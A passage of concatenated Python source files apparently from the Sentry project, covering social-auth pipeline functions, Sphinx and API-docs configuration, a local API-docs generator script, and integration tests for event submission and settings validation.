        # Try to associate accounts registered with the same email address,
        # only if it's a single object. AuthException is raised if multiple
        # objects are returned.
        try:
            return {'user': UserSocialAuth.get_user_by_email(email=email)}
        except MultipleObjectsReturned:
            raise AuthException(kwargs['backend'], 'Not unique email address.')
        except ObjectDoesNotExist:
            pass






from __future__ import absolute_import

from social.pipeline.social_auth import (  # NOQA
    social_user as social_auth_user, associate_user, load_extra_data
)






from __future__ import absolute_import

from social_auth.backends import PIPELINE
from social_auth.utils import setting


def save_status_to_session(request, auth, pipeline_index, *args, **kwargs):
    """Saves current social-auth status to session."""
    next_entry = setting('SOCIAL_AUTH_PIPELINE_RESUME_ENTRY')

    if next_entry and next_entry in PIPELINE:
        idx = PIPELINE.index(next_entry)
    else:
        idx = pipeline_index + 1

    data = auth.to_session_dict(idx, *args, **kwargs)
    name = setting('SOCIAL_AUTH_PARTIAL_PIPELINE_KEY', 'partial_pipeline')
    request.session[name] = data






from __future__ import absolute_import

import six

from uuid import uuid4

from social_auth.utils import setting, module_member
from social_auth.models import UserSocialAuth


slugify = module_member(setting('SOCIAL_AUTH_SLUGIFY_FUNCTION',
                                'django.template.defaultfilters.slugify'))


def get_username(details, user=None,
                 user_exists=UserSocialAuth.simple_user_exists,
                 *args, **kwargs):
    """Return an username for new user. Return current user username
    if user was given.
    """
    if user:
        return {'username': UserSocialAuth.user_username(user)}

    email_as_username = setting('SOCIAL_AUTH_USERNAME_IS_FULL_EMAIL', False)
    uuid_length = setting('SOCIAL_AUTH_UUID_LENGTH', 16)
    do_slugify = setting('SOCIAL_AUTH_SLUGIFY_USERNAMES', False)

    if email_as_username and details.get('email'):
        username = details['email']
    elif details.get('username'):
        username = unicode(details['username'])
    else:
        username = uuid4().get_hex()

    max_length = UserSocialAuth.username_max_length()
    short_username = username[:max_length - uuid_length]
    final_username = UserSocialAuth.clean_username(username[:max_length])
    if do_slugify:
        final_username = slugify(final_username)

    # Generate a unique username for current user using username
    # as base but adding a unique hash at the end. Original
    # username is cut to avoid any field max_length.
    while user_exists(username=final_username):
        username = short_username + uuid4().get_hex()[:uuid_length]
        username = username[:max_length]
        final_username = UserSocialAuth.clean_username(username)
        if do_slugify:
            final_username = slugify(final_username)
    return {'username': final_username}


def create_user(backend, details, response, uid, username, user=None, *args,
                **kwargs):
    """Create user. Depends on get_username pipeline."""
    if user:
        return {'user': user}
    if not username:
        return None

    # Avoid hitting field max length
    email = details.get('email')
    original_email = None
    if email and UserSocialAuth.email_max_length() < len(email):
        original_email = email
        email = ''

    return {
        'user': UserSocialAuth.create_user(username=username, email=email),
        'original_email': original_email,
        'is_new': True
    }


def _ignore_field(name, is_new=False):
    if name in ('username', 'id', 'pk'):
        return True

    if not is_new and name in setting('SOCIAL_AUTH_PROTECTED_USER_FIELDS', []):
        return True
    return False


def django_orm_maxlength_truncate(backend, details, user=None, is_new=False,
                                  *args, **kwargs):
    """Truncate any value in details that corresponds with a field in the user
    model. Add this entry to the pipeline before update_user_details"""
    if user is None:
        return
    out = {}
    names = user._meta.get_all_field_names()
    for name, value in six.iteritems(details):
        if name in names and not _ignore_field(name, is_new):
            max_length = user._meta.get_field(name).max_length
            try:
                if max_length and len(value) > max_length:
                    value = value[:max_length]
            except TypeError:
                pass
        out[name] = value
    return {'details': out}


def update_user_details(backend, details, response, user=None, is_new=False,
                        *args, **kwargs):
    """Update user details using data from provider."""
    if user is None:
        return

    changed = False  # flag to track changes

    for name, value in six.iteritems(details):
        # do not update username, it was already generated, do not update
        # configured fields if user already existed
        if not _ignore_field(name, is_new):
            if value and value != getattr(user, name, None):
                setattr(user, name, value)
                changed = True

    if changed:
        user.save()






"""Django-Social-Auth Pipeline.

Pipelines must return a dictionary with values that will be passed as parameter
to next pipeline item. Pipelines must take **kwargs parameters to avoid
failure. At some point a pipeline entry must create a UserSocialAuth instance
and load it to the output if the user logged in correctly.
"""
from __future__ import absolute_import






from __future__ import absolute_import

from django.db import IntegrityError
from django.utils.translation import ugettext

from social_auth.models import UserSocialAuth
from social_auth.exceptions import AuthAlreadyAssociated


def social_auth_user(backend, uid, user=None, *args, **kwargs):
    """Return UserSocialAuth account for backend/uid pair or None if it
    doesn't exists.

    Raise AuthAlreadyAssociated if UserSocialAuth entry belongs to another
    user.
    """
    social_user = UserSocialAuth.get_social_auth(backend.name, uid)
    if social_user:
        if user and social_user.user != user:
            msg = ugettext('This %(provider)s account is already in use.')
            raise AuthAlreadyAssociated(backend, msg % {
                'provider': backend.name
            })
        elif not user:
            user = social_user.user
    return {'social_user': social_user,
            'user': user,
            'new_association': False}


def associate_user(backend, user, uid, social_user=None, *args, **kwargs):
    """Associate user social account with user instance."""
    if social_user or not user:
        return None

    try:
        social = UserSocialAuth.create_social_auth(user, uid, backend.name)
    except IntegrityError:
        # Protect for possible race condition, those bastard with FTL
        # clicking capabilities, check issue #131:
        #   https://github.com/omab/django-social-auth/issues/131
        return social_auth_user(backend, uid, user, social_user=social_user,
                                *args, **kwargs)
    else:
        return {'social_user': social,
                'user': social.user,
                'new_association': True}


def load_extra_data(backend, details, response, uid, user, social_user=None,
                    *args, **kwargs):
    """Load extra data from provider and store it on current UserSocialAuth
    extra_data field.
    """
    social_user = (social_user or
                   UserSocialAuth.get_social_auth(backend.name, uid))
    if social_user:
        extra_data = backend.extra_data(user, uid, response, details)
        if kwargs.get('original_email') and 'email' not in extra_data:
            extra_data['email'] = kwargs.get('original_email')
        if extra_data and social_user.extra_data != extra_data:
            if social_user.extra_data:
                social_user.extra_data.update(extra_data)
            else:
                social_user.extra_data = extra_data
            social_user.save()
        return {'social_user': social_user}






# -*- coding: utf-8 -*-
#
# Sentry documentation build configuration file, created by
# sphinx-quickstart on Wed Oct 20 16:21:42 2010.
#
# This file is execfile()d with the current directory set to its containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

import sys
import os

sys.path.insert(0, os.path.join(os.path.dirname(__file__), os.pardir, 'src'))
sys.path.insert(1, os.path.join(os.path.dirname(__file__), '_themes'))

if 'DJANGO_SETTINGS_MODULE' not in os.environ:
    os.environ['DJANGO_SETTINGS_MODULE'] = 'sentry.conf.server'

# TODO(dcramer): this is to allow autodoc support
from django.conf import settings
settings.SENTRY_CACHE = 'sentry.cache.django.DjangoCache'

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
#sys.path.insert(0, os.path.abspath('.'))

# -- General configuration -----------------------------------------------------

# If your documentation needs a minimal Sphinx version, state it here.
#needs_sphinx = '1.0'

# Add any Sphinx extension module names here, as strings. They can be extensions
# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
#extensions = ['sphinxtogithub']
extensions = [
    'sphinx.ext.autodoc',
    'sphinx.ext.intersphinx',
    'sphinx.ext.todo',
    'sphinx.ext.coverage',
    'sphinx.ext.viewcode',
]

# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']

# The suffix of source filenames.
source_suffix = '.rst'

# The encoding of source files.
#source_encoding = 'utf-8-sig'

# The master toctree document.
master_doc = 'index'

# General information about the project.
project = u'Sentry'
copyright = u'2010-2015, the Sentry Team'

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.

version = __import__('pkg_resources').get_distribution('sentry').version
# The full version, including alpha/beta/rc tags.
release = version

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#language = None

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']

# The reST default role (used for this markup: `text`) to use for all documents.
#default_role = None

# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'

# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []


# -- Options for HTML output ---------------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.
html_theme = 'kr'

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}

# Add any paths that contain custom themes here, relative to this directory.
html_theme_path = ['_themes']

# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
#html_title = None

# A shorter title for the navigation bar.  Default is the same as html_title.
#html_short_title = None

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
html_logo = "_static/logo.png"

# The name of an image file (within the static path) to use as favicon of the
# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True

# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}

# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}

# If false, no module index is generated.
#html_domain_indices = True

# If false, no index is generated.
#html_use_index = True

# If true, the index is split into individual pages for each letter.
#html_split_index = False

# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True

# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True

# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''

# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None

# Output file base name for HTML help builder.
htmlhelp_basename = 'Sentrydoc'


# -- Options for LaTeX output --------------------------------------------------

# The paper size ('letter' or 'a4').
#latex_paper_size = 'letter'

# The font size ('10pt', '11pt' or '12pt').
#latex_font_size = '10pt'

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title, author, documentclass [howto/manual]).
latex_documents = [
    (
        'index', 'Sentry.tex', u'Sentry Documentation',
        u'Functional Software Inc.', 'manual'
    ),
]

# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False

# If true, show page references after internal links.
#latex_show_pagerefs = False

# If true, show URL addresses after external links.
#latex_show_urls = False

# Additional stuff for the LaTeX preamble.
#latex_preamble = ''

# Documents to append as an appendix to all manuals.
#latex_appendices = []

# If false, no module index is generated.
#latex_domain_indices = True


# -- Options for manual page output --------------------------------------------

# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
    ('index', 'sentry', u'Sentry Documentation',
     [u'Functional Software Inc.'], 1)
]

if os.environ.get('SENTRY_FEDERATED_DOCS') != '1':
    sys.path.insert(0, os.path.abspath('_sentryext'))
    try:
        import sentryext
        sentryext.activate()
    except ImportError:
        print 'ERROR: could not import sentryext.  You need to check out the _sentryext submodule.'






# flake8: noqa
from sentry.conf.server import *

import os
import getpass


SENTRY_APIDOCS_REDIS_PORT = 12355
SENTRY_APIDOCS_WEB_PORT = 12356

SENTRY_URL_PREFIX = 'https://app.getsentry.com'

# Unsupported here
SENTRY_SINGLE_ORGANIZATION = False


DEBUG = True
CONF_ROOT = os.path.dirname(__file__)

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.sqlite3',
        'NAME': '/tmp/sentry_apidocs.db',
    }
}
SENTRY_USE_BIG_INTS = True

SENTRY_CACHE = 'sentry.cache.redis.RedisCache'

CELERY_ALWAYS_EAGER = True
BROKER_URL = 'redis://localhost:%s' % SENTRY_APIDOCS_REDIS_PORT

SENTRY_RATELIMITER = 'sentry.ratelimits.redis.RedisRateLimiter'
SENTRY_BUFFER = 'sentry.buffer.redis.RedisBuffer'
SENTRY_QUOTAS = 'sentry.quotas.redis.RedisQuota'
SENTRY_TSDB = 'sentry.tsdb.redis.RedisTSDB'

SENTRY_FILESTORE = 'django.core.files.storage.FileSystemStorage'
SENTRY_FILESTORE_OPTIONS = {
    'location': '/tmp/sentry-files',
}
LOGIN_REDIRECT_URL = SENTRY_URL_PREFIX + '/'

SENTRY_WEB_HOST = '127.0.0.1'
SENTRY_WEB_PORT = SENTRY_APIDOCS_WEB_PORT
SENTRY_WEB_OPTIONS = {
    'workers': 2,
    'limit_request_line': 0,
    'secure_scheme_headers': {'X-FORWARDED-PROTO': 'https'},
}

SENTRY_OPTIONS.update({
    'redis.clusters': {
        'default': {
            'hosts': {i: {'port': SENTRY_APIDOCS_REDIS_PORT} for i in range(0, 4)},
        },
    },
    'system.secret-key': 'super secret secret key',
    'system.admin-email': 'admin@getsentry.com',
    'system.url-prefix': SENTRY_URL_PREFIX,
    'mail.backend': 'django.core.mail.backends.smtp.EmailBackend',
    'mail.host': 'localhost',
    'mail.password': '',
    'mail.username': '',
    'mail.port': 25,
    'mail.use-tls': False,
    'mail.from': 'sentry@getsentry.com',
})






from __future__ import absolute_import

import os
import zlib
import json
import click
import logging
import six

from datetime import datetime
from subprocess import Popen, PIPE
from contextlib import contextmanager
from six.moves.urllib.parse import urlparse

HERE = os.path.abspath(os.path.dirname(__file__))
SENTRY_CONFIG = os.environ['SENTRY_CONF'] = os.path.join(HERE, 'sentry.conf.py')
os.environ['SENTRY_SKIP_BACKEND_VALIDATION'] = '1'

# No sentry or django imports before that point
from sentry.runner import configure
configure()
from django.conf import settings

# Fair game from here
from django.core.management import call_command

from sentry.utils.apidocs import Runner, MockUtils, iter_scenarios, \
    iter_endpoints, get_sections


OUTPUT_PATH = os.path.join(HERE, 'cache')
HOST = urlparse(settings.SENTRY_OPTIONS['system.url-prefix']).netloc


# We don't care about you, go away
_logger = logging.getLogger('sentry.events')
_logger.disabled = True


def color_for_string(s):
    colors = ('red', 'green', 'yellow', 'blue', 'cyan', 'magenta')
    return colors[zlib.crc32(s) % len(colors)]


def report(category, message, fg=None):
    if fg is None:
        fg = color_for_string(category)
    click.echo('[%s] %s: %s' % (
        six.text_type(datetime.utcnow()).split('.')[0],
        click.style(category, fg=fg),
        message
    ))


def launch_redis():
    report('redis', 'Launching redis server')
    cl = Popen(['redis-server', '-'], stdin=PIPE, stdout=open(os.devnull, 'r+'))
    cl.stdin.write('''
    port %(port)s
    databases %(databases)d
    save ""
    ''' % {
        'port': six.text_type(settings.SENTRY_APIDOCS_REDIS_PORT),
        'databases': 4,
    })
    cl.stdin.flush()
    cl.stdin.close()
    return cl


def spawn_sentry():
    report('sentry', 'Launching sentry server')
    cl = Popen(['sentry', '--config=' + SENTRY_CONFIG, 'run', 'web',
                '-w', '1', '--bind', '127.0.0.1:%s' % settings.SENTRY_APIDOCS_WEB_PORT])
    return cl


@contextmanager
def management_connection():
    from sqlite3 import connect
    cfg = settings.DATABASES['default']
    con = connect(cfg['NAME'])
    try:
        con.cursor()
        yield con
    finally:
        con.close()


def init_db():
    drop_db()
    report('db', 'Migrating database (this can time some time)')
    call_command('syncdb', migrate=True, interactive=False,
                 traceback=True, verbosity=0)


def drop_db():
    report('db', 'Dropping database')
    try:
        os.remove(settings.DATABASES['default']['NAME'])
    except (OSError, IOError):
        pass


class SentryBox(object):

    def __init__(self):
        self.redis = None
        self.sentry = None
        self.task_runner = None

    def __enter__(self):
        self.redis = launch_redis()
        self.sentry = spawn_sentry()
        init_db()
        return self

    def __exit__(self, exc_type, exc_value, tb):
        drop_db()
        if self.redis is not None:
            report('redis', 'Stopping redis server')
            self.redis.kill()
            self.redis.wait()
        if self.sentry is not None:
            report('sentry', 'Shutting down sentry server')
            self.sentry.kill()
            self.sentry.wait()


def dump_json(path, data):
    path = os.path.join(OUTPUT_PATH, path)
    try:
        os.makedirs(os.path.dirname(path))
    except OSError:
        pass
    with open(path, 'w') as f:
        for line in json.dumps(data, indent=2, sort_keys=True).splitlines():
            f.write(line.rstrip() + '\n')


def run_scenario(vars, scenario_ident, func):
    runner = Runner(scenario_ident, func, **vars)
    report('scenario', 'Running scenario "%s"' % scenario_ident)
    func(runner)
    dump_json('scenarios/%s.json' % scenario_ident, runner.to_json())


@click.command()
@click.option('--output-path', type=click.Path())
def cli(output_path):
    """API docs dummy generator."""
    global OUTPUT_PATH
    if output_path is not None:
        OUTPUT_PATH = os.path.abspath(output_path)
    with SentryBox():
        utils = MockUtils()
        report('org', 'Creating user and organization')
        user = utils.create_user('john@interstellar.invalid')
        org = utils.create_org('The Interstellar Jurisdiction',
                               owner=user)
        api_key = utils.create_api_key(org)

        report('org', 'Creating team')
        team = utils.create_team('Powerful Abolitionist',
                                 org=org)

        projects = []
        for project_name in 'Pump Station', 'Prime Mover':
            report('project', 'Creating project "%s"' % project_name)
            project = utils.create_project(project_name, team=team, org=org)
            release = utils.create_release(project=project, user=user)
            report('event', 'Creating event for "%s"' % project_name)

            event1 = utils.create_event(project=project, release=release,
                                        platform='python')
            event2 = utils.create_event(project=project, release=release,
                                        platform='java')
            projects.append({
                'project': project,
                'release': release,
                'events': [event1, event2],
            })

        vars = {
            'org': org,
            'api_key': api_key,
            'me': user,
            'api_key': api_key,
            'teams': [{
                'team': team,
                'projects': projects,
            }],
        }

        for scenario_ident, func in iter_scenarios():
            run_scenario(vars, scenario_ident, func)

        section_mapping = {}

        report('docs', 'Exporting endpoint documentation')
        for endpoint in iter_endpoints():
            report('endpoint', 'Exporting docs for "%s"' %
                   endpoint['endpoint_name'])
            section_mapping.setdefault(endpoint['section'], []) \
                .append((endpoint['endpoint_name'],
                         endpoint['title']))
            dump_json('endpoints/%s.json' % endpoint['endpoint_name'], endpoint)

        report('docs', 'Exporting sections')
        dump_json('sections.json', {
            'sections': dict((section, {
                'title': title,
                'entries': dict(section_mapping.get(section, ())),
            }) for section, title in six.iteritems(get_sections()))
        })


if __name__ == '__main__':
    cli()






from __future__ import absolute_import






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import, print_function

import os
import datetime
import json
import logging
import mock
import six
import zlib

from django.conf import settings
from django.core.urlresolvers import reverse
from django.test.utils import override_settings
from django.utils import timezone
from gzip import GzipFile
from exam import fixture
from raven import Client
from six import StringIO

from sentry.models import (
    Group, GroupTagKey, GroupTagValue, Event, TagKey, TagValue
)
from sentry.testutils import TestCase, TransactionTestCase
from sentry.testutils.helpers import get_auth_header
from sentry.utils.settings import (
    validate_settings, ConfigurationError, import_string)


DEPENDENCY_TEST_DATA = {
    "postgresql": ('DATABASES', 'psycopg2.extensions', "database engine", "django.db.backends.postgresql_psycopg2", {
        'default': {
            'ENGINE': "django.db.backends.postgresql_psycopg2",
            'NAME': 'test',
            'USER': 'root',
            'PASSWORD': '',
            'HOST': 'localhost',
            'PORT': ''
        }
    }),
    "mysql": ('DATABASES', 'MySQLdb', "database engine", "django.db.backends.mysql", {
        'default': {
            'ENGINE': "django.db.backends.mysql",
            'NAME': 'test',
            'USER': 'root',
            'PASSWORD': '',
            'HOST': 'localhost',
            'PORT': ''
        }
    }),
    "oracle": ('DATABASES', 'cx_Oracle', "database engine", "django.db.backends.oracle", {
        'default': {
            'ENGINE': "django.db.backends.oracle",
            'NAME': 'test',
            'USER': 'root',
            'PASSWORD': '',
            'HOST': 'localhost',
            'PORT': ''
        }
    }),
    "memcache": ('CACHES', 'memcache', "caching backend", "django.core.cache.backends.memcached.MemcachedCache", {
        'default': {
            'BACKEND': "django.core.cache.backends.memcached.MemcachedCache",
            'LOCATION': '127.0.0.1:11211',
        }
    }),
    "pylibmc": ('CACHES', 'pylibmc', "caching backend", "django.core.cache.backends.memcached.PyLibMCCache", {
        'default': {
            'BACKEND': "django.core.cache.backends.memcached.PyLibMCCache",
            'LOCATION': '127.0.0.1:11211',
        }
    }),
}


def get_fixture_path(name):
    return os.path.join(os.path.dirname(__file__), 'fixtures', name)


def load_fixture(name):
    with open(get_fixture_path(name)) as fp:
        return fp.read()


class AssertHandler(logging.Handler):
    def emit(self, entry):
        raise AssertionError(entry.message)


class RavenIntegrationTest(TransactionTestCase):
    """
    This mocks the test server and specifically tests behavior that would
    happen between Raven <--> Sentry over HTTP communication.
    """
    def setUp(self):
        self.user = self.create_user('coreapi@example.com')
        self.project = self.create_project()
        self.pk = self.project.key_set.get_or_create()[0]

        self.configure_sentry_errors()

    def configure_sentry_errors(self):
        assert_handler = AssertHandler()
        sentry_errors = logging.getLogger('sentry.errors')
        sentry_errors.addHandler(assert_handler)
        sentry_errors.setLevel(logging.DEBUG)

        def remove_handler():
            sentry_errors.handlers.pop(sentry_errors.handlers.index(assert_handler))
        self.addCleanup(remove_handler)

    def sendRemote(self, url, data, headers={}):
        content_type = headers.pop('Content-Type', None)
        headers = dict(('HTTP_' + k.replace('-', '_').upper(), v) for k, v in six.iteritems(headers))
        if isinstance(data, six.text_type):
            data = data.encode('utf-8')
        resp = self.client.post(
            reverse('sentry-api-store', args=[self.pk.project_id]),
            data=data,
            content_type=content_type,
            **headers)
        assert resp.status_code == 200, resp.content

    @mock.patch('raven.base.Client.send_remote')
    def test_basic(self, send_remote):
        send_remote.side_effect = self.sendRemote
        client = Client(
            dsn='http://%s:%s@localhost:8000/%s' % (
                self.pk.public_key, self.pk.secret_key, self.pk.project_id)
        )

        with self.tasks():
            client.capture('Message', message='foo')

        assert send_remote.call_count is 1
        assert Group.objects.count() == 1
        group = Group.objects.get()
        assert group.event_set.count() == 1
        instance = group.event_set.get()
        assert instance.message == 'foo'


class SentryRemoteTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-api-store')

    def test_minimal(self):
        kwargs = {'message': 'hello', 'tags': {'foo': 'bar'}}

        resp = self._postWithHeader(kwargs)

        assert resp.status_code == 200, resp.content

        event_id = json.loads(resp.content)['id']
        instance = Event.objects.get(event_id=event_id)

        assert instance.message == 'hello'

        assert TagKey.objects.filter(
            key='foo', project=self.project,
        ).exists()
        assert TagValue.objects.filter(
            key='foo', value='bar', project=self.project,
        ).exists()
        assert GroupTagKey.objects.filter(
            key='foo', group=instance.group_id, project=self.project,
        ).exists()
        assert GroupTagValue.objects.filter(
            key='foo', value='bar', group=instance.group_id,
            project=self.project,
        ).exists()

    def test_timestamp(self):
        timestamp = timezone.now().replace(microsecond=0, tzinfo=timezone.utc) - datetime.timedelta(hours=1)
        kwargs = {u'message': 'hello', 'timestamp': timestamp.strftime('%s.%f')}
        resp = self._postWithSignature(kwargs)
        assert resp.status_code == 200, resp.content
        instance = Event.objects.get()
        assert instance.message == 'hello'
        assert instance.datetime == timestamp
        group = instance.group
        assert group.first_seen == timestamp
        assert group.last_seen == timestamp

    def test_timestamp_as_iso(self):
        timestamp = timezone.now().replace(microsecond=0, tzinfo=timezone.utc) - datetime.timedelta(hours=1)
        kwargs = {u'message': 'hello', 'timestamp': timestamp.strftime('%Y-%m-%dT%H:%M:%S.%f')}
        resp = self._postWithSignature(kwargs)
        assert resp.status_code == 200, resp.content
        instance = Event.objects.get()
        assert instance.message == 'hello'
        assert instance.datetime == timestamp
        group = instance.group
        assert group.first_seen == timestamp
        assert group.last_seen == timestamp

    def test_ungzipped_data(self):
        kwargs = {'message': 'hello'}
        resp = self._postWithSignature(kwargs)
        assert resp.status_code == 200
        instance = Event.objects.get()
        assert instance.message == 'hello'

    @override_settings(SENTRY_ALLOW_ORIGIN='getsentry.com')
    def test_correct_data_with_get(self):
        kwargs = {'message': 'hello'}
        resp = self._getWithReferer(kwargs)
        assert resp.status_code == 200, resp.content
        instance = Event.objects.get()
        assert instance.message == 'hello'

    @override_settings(SENTRY_ALLOW_ORIGIN='getsentry.com')
    def test_get_without_referer(self):
        self.project.update_option('sentry:origins', '')
        kwargs = {'message': 'hello'}
        resp = self._getWithReferer(kwargs, referer=None, protocol='4')
        assert resp.status_code == 403, (resp.status_code, resp.get('X-Sentry-Error'))

    @override_settings(SENTRY_ALLOW_ORIGIN='*')
    def test_get_without_referer_allowed(self):
        self.project.update_option('sentry:origins', '')
        kwargs = {'message': 'hello'}
        resp = self._getWithReferer(kwargs, referer=None, protocol='4')
        assert resp.status_code == 200, (resp.status_code, resp.get('X-Sentry-Error'))

    @override_settings(SENTRY_ALLOW_ORIGIN='getsentry.com')
    def test_correct_data_with_post_referer(self):
        kwargs = {'message': 'hello'}
        resp = self._postWithReferer(kwargs)
        assert resp.status_code == 200, resp.content
        instance = Event.objects.get()
        assert instance.message == 'hello'

    @override_settings(SENTRY_ALLOW_ORIGIN='getsentry.com')
    def test_post_without_referer(self):
        self.project.update_option('sentry:origins', '')
        kwargs = {'message': 'hello'}
        resp = self._postWithReferer(kwargs, referer=None, protocol='4')
        assert resp.status_code == 403, (resp.status_code, resp.get('X-Sentry-Error'))

    @override_settings(SENTRY_ALLOW_ORIGIN='*')
    def test_post_without_referer_allowed(self):
        self.project.update_option('sentry:origins', '')
        kwargs = {'message': 'hello'}
        resp = self._postWithReferer(kwargs, referer=None, protocol='4')
        assert resp.status_code == 403, (resp.status_code, resp.get('X-Sentry-Error'))

    def test_signature(self):
        kwargs = {'message': 'hello'}

        resp = self._postWithSignature(kwargs)

        assert resp.status_code == 200, resp.content

        instance = Event.objects.get()

        assert instance.message == 'hello'

    def test_content_encoding_deflate(self):
        kwargs = {'message': 'hello'}

        message = zlib.compress(json.dumps(kwargs))

        key = self.projectkey.public_key
        secret = self.projectkey.secret_key

        with self.tasks():
            resp = self.client.post(
                self.path, message,
                content_type='application/octet-stream',
                HTTP_CONTENT_ENCODING='deflate',
                HTTP_X_SENTRY_AUTH=get_auth_header('_postWithHeader', key, secret),
            )

        assert resp.status_code == 200, resp.content

        event_id = json.loads(resp.content)['id']
        instance = Event.objects.get(event_id=event_id)

        assert instance.message == 'hello'

    def test_content_encoding_gzip(self):
        kwargs = {'message': 'hello'}

        message = json.dumps(kwargs)

        fp = StringIO()

        try:
            f = GzipFile(fileobj=fp, mode='w')
            f.write(message)
        finally:
            f.close()

        key = self.projectkey.public_key
        secret = self.projectkey.secret_key

        with self.tasks():
            resp = self.client.post(
                self.path, fp.getvalue(),
                content_type='application/octet-stream',
                HTTP_CONTENT_ENCODING='gzip',
                HTTP_X_SENTRY_AUTH=get_auth_header('_postWithHeader', key, secret),
            )

        assert resp.status_code == 200, resp.content

        event_id = json.loads(resp.content)['id']
        instance = Event.objects.get(event_id=event_id)

        assert instance.message == 'hello'

    def test_protocol_v2_0_without_secret_key(self):
        kwargs = {'message': 'hello'}

        resp = self._postWithHeader(
            data=kwargs,
            key=self.projectkey.public_key,
            protocol='2.0',
        )

        assert resp.status_code == 200, resp.content

        event_id = json.loads(resp.content)['id']
        instance = Event.objects.get(event_id=event_id)

        assert instance.message == 'hello'

    def test_protocol_v3(self):
        kwargs = {'message': 'hello'}

        resp = self._postWithHeader(
            data=kwargs,
            key=self.projectkey.public_key,
            secret=self.projectkey.secret_key,
            protocol='3',
        )

        assert resp.status_code == 200, resp.content

        event_id = json.loads(resp.content)['id']
        instance = Event.objects.get(event_id=event_id)

        assert instance.message == 'hello'

    def test_protocol_v4(self):
        kwargs = {'message': 'hello'}

        resp = self._postWithHeader(
            data=kwargs,
            key=self.projectkey.public_key,
            secret=self.projectkey.secret_key,
            protocol='4',
        )

        assert resp.status_code == 200, resp.content

        event_id = json.loads(resp.content)['id']
        instance = Event.objects.get(event_id=event_id)

        assert instance.message == 'hello'

    def test_protocol_v5(self):
        kwargs = {'message': 'hello'}

        resp = self._postWithHeader(
            data=kwargs,
            key=self.projectkey.public_key,
            secret=self.projectkey.secret_key,
            protocol='5',
        )

        assert resp.status_code == 200, resp.content

        event_id = json.loads(resp.content)['id']
        instance = Event.objects.get(event_id=event_id)

        assert instance.message == 'hello'

    def test_protocol_v6(self):
        kwargs = {'message': 'hello'}

        resp = self._postWithHeader(
            data=kwargs,
            key=self.projectkey.public_key,
            secret=self.projectkey.secret_key,
            protocol='6',
        )

        assert resp.status_code == 200, resp.content

        event_id = json.loads(resp.content)['id']
        instance = Event.objects.get(event_id=event_id)

        assert instance.message == 'hello'


class DepdendencyTest(TestCase):
    def raise_import_error(self, package):
        def callable(package_name):
            if package_name != package:
                return import_string(package_name)
            raise ImportError("No module named %s" % (package,))
        return callable

    @mock.patch('django.conf.settings', mock.Mock())
    @mock.patch('sentry.utils.settings.import_string')
    def validate_dependency(self, key, package, dependency_type, dependency,
                            setting_value, import_string):

        import_string.side_effect = self.raise_import_error(package)

        with self.settings(**{key: setting_value}):
            with self.assertRaises(ConfigurationError):
                validate_settings(settings)

    def test_validate_fails_on_postgres(self):
        self.validate_dependency(*DEPENDENCY_TEST_DATA['postgresql'])

    def test_validate_fails_on_mysql(self):
        self.validate_dependency(*DEPENDENCY_TEST_DATA['mysql'])

    def test_validate_fails_on_oracle(self):
        self.validate_dependency(*DEPENDENCY_TEST_DATA['oracle'])

    def test_validate_fails_on_memcache(self):
        self.validate_dependency(*DEPENDENCY_TEST_DATA['memcache'])

    def test_validate_fails_on_pylibmc(self):
        self.validate_dependency(*DEPENDENCY_TEST_DATA['pylibmc'])


def get_fixtures(name):
    path = os.path.join(os.path.dirname(__file__), 'fixtures/csp', name)
    try:
        with open(path + '_input.json', 'rb') as fp1:
            input = fp1.read()
    except IOError:
        input = None

    try:
        with open(path + '_output.json', 'rb') as fp2:
            output = json.load(fp2)
    except IOError:
        output = None

    return input, output


class CspReportTest(TestCase):
    def assertReportCreated(self, input, output):
